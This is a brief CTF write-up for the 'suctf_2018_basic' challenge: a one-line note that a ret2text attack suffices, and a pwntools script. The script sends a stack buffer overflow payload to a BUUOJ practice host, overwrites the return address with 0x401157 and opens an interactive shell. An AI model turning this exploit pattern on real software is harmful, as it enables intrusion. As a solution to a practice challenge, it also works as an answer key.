suctf_2018_basic

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ret2text即可。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 28575)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

bk = 0x401157

p1 = b'a' * (0x110 + 8) + p64(bk)
r.sendline(p1)

r.interactive()